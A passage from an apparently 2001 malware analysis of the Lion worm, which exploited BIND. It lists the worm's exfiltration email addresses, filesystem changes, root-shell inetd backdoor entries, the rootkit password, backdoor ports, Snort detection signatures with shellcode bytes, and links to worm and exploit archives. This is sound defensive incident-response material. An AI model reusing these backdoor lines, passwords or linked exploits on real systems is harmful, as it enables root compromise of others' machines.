      http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-017.php3
 Redhat: http://www.redhat.com/support/errata/RHSA-2001-007.html
 Slackware: 
      http://www.linuxsecurity.com/advisories/slackware_advisory-1121.html
 SuSE: http://www.suse.com/de/support/security/2001_003_bind8_%20txt.txt
 TurboLinux: 
      http://www.turbolinux.com/pipermail/tl-security-announce/2001-February/000034.html
 
 
       Detection on a Local 
      Host
 The scanning and BIND exploit attacks do not leave logs in a default 
      install of Redhat Linux. Other platforms may vary. Although 
      /var/log/maillog is truncated or deleted in all three variations of the 
      worm, the use of a proxy mail gateway or proxy firewall will leave traces 
      of the destination email addresses as the worms send data back to the 
      attacker. Addresses used by the worms are shown in the following 
table. 
        
        
          | 
              
              
                | Email addresses used by 
                  the Lion Worm |  
                | Lion.v1 | 1i0nip@china.com 1i0nsniffer@china.com
 |  
                | Lion.v2 | 1i0nip@china.com 1i0nkit@china.com
 |  
                | Lion.v3 | huckit@china.com |  |  The following filesystem irregularities are attributable to the Lion 
      worm. Note the redundant index.html replacement in Lion.v3.  
        
        
          | 
              
              
                | Filesystem changes caused 
                  by the Lion Worm |  
                | Lion.v1 | Changes caused by the initial BIND exploit:/dev/.lib/ directory and contents
 /etc/inetd.conf has new entry appended 
                  '1008 stream tcp nowait root /bin/sh sh'
 /.bash_history missing
 Changes caused by the 
                  worm scripts:
 /etc/rc.d/rc.sysinit has new entry 
                  appended '/dev/.lib/lib/scan/star.sh'
 /etc/hosts.deny is missing (an empty 
                  placeholder file is present by default)
 Changes caused by 
                  the t0rn rootkit:
 /etc/inetd.conf has new entry appended 
                  '60008 stream tcp nowait root /bin/sh sh'
 /etc/inetd.conf has new entry appended 
                  '33567 stream tcp nowait root /bin/sh sh'
 /etc/ttyhash exists (cnhonker password 
                  hash)
 /usr/man/man1/man1/lib/.lib/ directory 
                  and contents
 /usr/src/.puta/ directory and 
                  contents
 /usr/info/.t0rn/ directory and 
                  contents
 /bin/mjy exists (log wiping 
                  utility)
 /usr/man/man1/man1/lib/.lib/.x exists 
                  (suid root shell)
 /etc/rc.d/rc.sysinit has new entry for 
                  nscd (not in the worm) and in.telnetd trojan
 /tmp/.pinespool exists (temporary file 
                  for inetd.conf manipulation)
 /root/.bash_history missing
 /var/log/messages truncated
 /var/log/maillog truncated
 Trojaned/replaced files:
 /bin/in.telnetd
 /usr/sbin/in.fingerd
 /bin/ps
 /sbin/ifconfig
 /usr/bin/du
 /bin/netstat
 /usr/bin/top
 /bin/ls
 /usr/bin/find
 note: 
                  William Sterns has written the lionfind-0.1.tar.gz 
                  software that will attempt to locate files created by a 
                  Lion.v1 infection.
 |  
                | Lion.v2 | Changes caused by the initial BIND exploit:/dev/.lib/ directory and contents
 /etc/inetd.conf has new entry appended 
                  '1008 stream tcp nowait root /bin/sh sh'
 /.bash_history missing
 /var/log/messages truncated
 /var/log/maillog truncated
 Changes caused 
                  by the worm scripts:
 /etc/rc.d/rc.sysinit has new entry 
                  appended '/dev/.lib/lib/scan/star.sh' (wrong directory buddy)
 /etc/hosts.deny is missing (an empty 
                  placeholder file is present by default)
 |  
                | Lion.v3 | Changes caused by the initial BIND exploit:/dev/.lib/ directory and contents
 /etc/inetd.conf has new entry appended 
                  '10008 stream tcp nowait root /bin/sh sh'
 /.bash_history missing
 /var/log/messages truncated
 /var/log/maillog deleted
 all 
                  index.html files are overwritten by 'Powered by 
                  H.U.C(c0011i0n).-----1i0n Crew'
 Changes caused by the worm 
                  scripts:
 /sbin/asp 
                  exists (lite webserver to allow download of worm to next 
                  system)
 /tmp/ramen.tgz exists (Lion worm author 
                  used the asp62 binary from the Ramen worm)
 /etc/inetd.conf has new entry appended 
                  'asp stream tcp nowait root /sbin/asp'
 /etc/rc.d/rc.sysinit has new entry 
                  appended '/dev/.lib/star.sh'
 /etc/hosts.deny is missing (an empty 
                  placeholder file is present by default)
 all index.html files are 
                  overwritten AGAIN by "lion crew" racial anti-japanese 
                  message
 |  |  The following network bindings appear as a result of backdoors by the 
      Lion worm. Notice the excessive number of backdoors present in the first 
      version of the worm. 
        
        
          | 
              
              
                | Network backdoors used by 
                  each version of the Lion Worm |  
                | Lion.v1 | telnetd listening at tcp port 23 (t0rn rootkit) using 
                  password "cnhonker"/bin/sh bound to tcp port 1008 (from 
                  bind exploit)
 /bin/sh bound to tcp port 2555 (t0rn rootkit) 
                  activated by in.fingerd trojan
 /bin/sh bound to tcp port 
                  33567 (t0rn rootkit)
 sshd listening at tcp port 33568 (t0rn 
                  rootkit) using password "cnhonker"
 /bin/sh bound to tcp 
                  port 60008 (t0rn rootkit)
 |  
                | Lion.v2 | /bin/sh bound to tcp port 1008 (from bind exploit) |  
                | Lion.v3 | /bin/sh bound to tcp port 10008 (from bind 
                  exploit) /sbin/asp bound to tcp port 27374 (webserver 
                  allowing download of Lion.v3 worm 
          archive)
 |  |  
 
 Detection on a 
      Network The following arachNIDS rules 
      can be used with Snort to detect this worm on your network.  Pscan probes are detected using the portscan plugin in Snort, it can be 
      enabled with:preprocessor portscan: $INTERNAL 3 5 
      /var/log/snort/portscan
 The BIND Infoleak probe can be detected using the arachNIDS ruleset: http://whitehats.com/info/IDS482alert UDP 
      $EXTERNAL any -> $INTERNAL 53 (msg: 
      "IDS482/named-exploit-infoleak-lsd"; content: "|AB CD 09 80 00 00 00 01 00 
      00 00 00 00 00 01 00 01 20 20 20 20 02 61|"; 
      reference:arachnids,482;)
 The BIND TSIG overflow be detected using the arachNIDS ruleset: http://whitehats.com/info/IDS489alert UDP 
      $EXTERNAL any -> $INTERNAL 53 (msg: "IDS489/named-exploit-tsig-lsd"; 
      content: "|3F 909090 EB3B 31DB 5F 83EF7C 8D7710 897704 8D4F20|"; 
      reference:arachnids,489;)
 The outgoing emails can be detected as well. However, the added 
      detection ability may not be worth the performance impact on the IDS. The 
      worm cannot replicate without triggering the signatures shown above. 
       Incident Recovery
 If you have been infected by the Lion Worm, then you have suffered a 
      critical breach of security. Killing the worm processess, deleting the 
      files, and removing the backdoors will only clean the known part of this 
      attack. The unfortunate issue is that your system has been compromised at 
      the root level, and your IP address and password information have been 
      sent to an attacker. This may have allowed them to log in through the 
      backdoors and make other changes to the system. Further, since the worm 
      does not repair the original security issue, any other attacker can still 
      compromise your system. A good starting point for your path to recovery is 
      CERT's "Steps 
      for Recovering from a UNIX Root Compromise".  Incident Reporting
 Most likely, the source address that is attacking your network is 
      another victim in the propagation of the worm. Therefore, it is much 
      better to report the information to your CERT, and let them do their job 
      of coordinating the attack trend information, rather than trying to 
      contact the owner of the machine that attacked you. This is a judgment 
      call that you or your corporate security policy may dictate, but please 
      remain calm and courteous when dealing with other admin involved in an 
      attack. They may not yet be aware that their system was compromised. 
       References
 "ISC Bind 8 Transaction Signatures Buffer Overflow Vulnerability", http://www.securityfocus.com/bid/2302 "ISC BIND Internal Memory Disclosure Vulnerability", http://www.securityfocus.com/bid/2321 "linx86_bind.c" exploit by Last Stage of Delirium, http://lsd-pl.net/files/get?LINUX/linx86_bind GIAC Lion Worm Information, http://www.sans.org/y2k/lion.htm 
      
 Local links, provided for educational use only:lion1.tgz 
      / lion2.tgz 
      / lion3.tgz 
      / pscan.c / 
      linx86_bind.c
   |  | 
    | © 2001 Max Vision Network Security. 
      All rights reserved. Contact Us
 
  | 
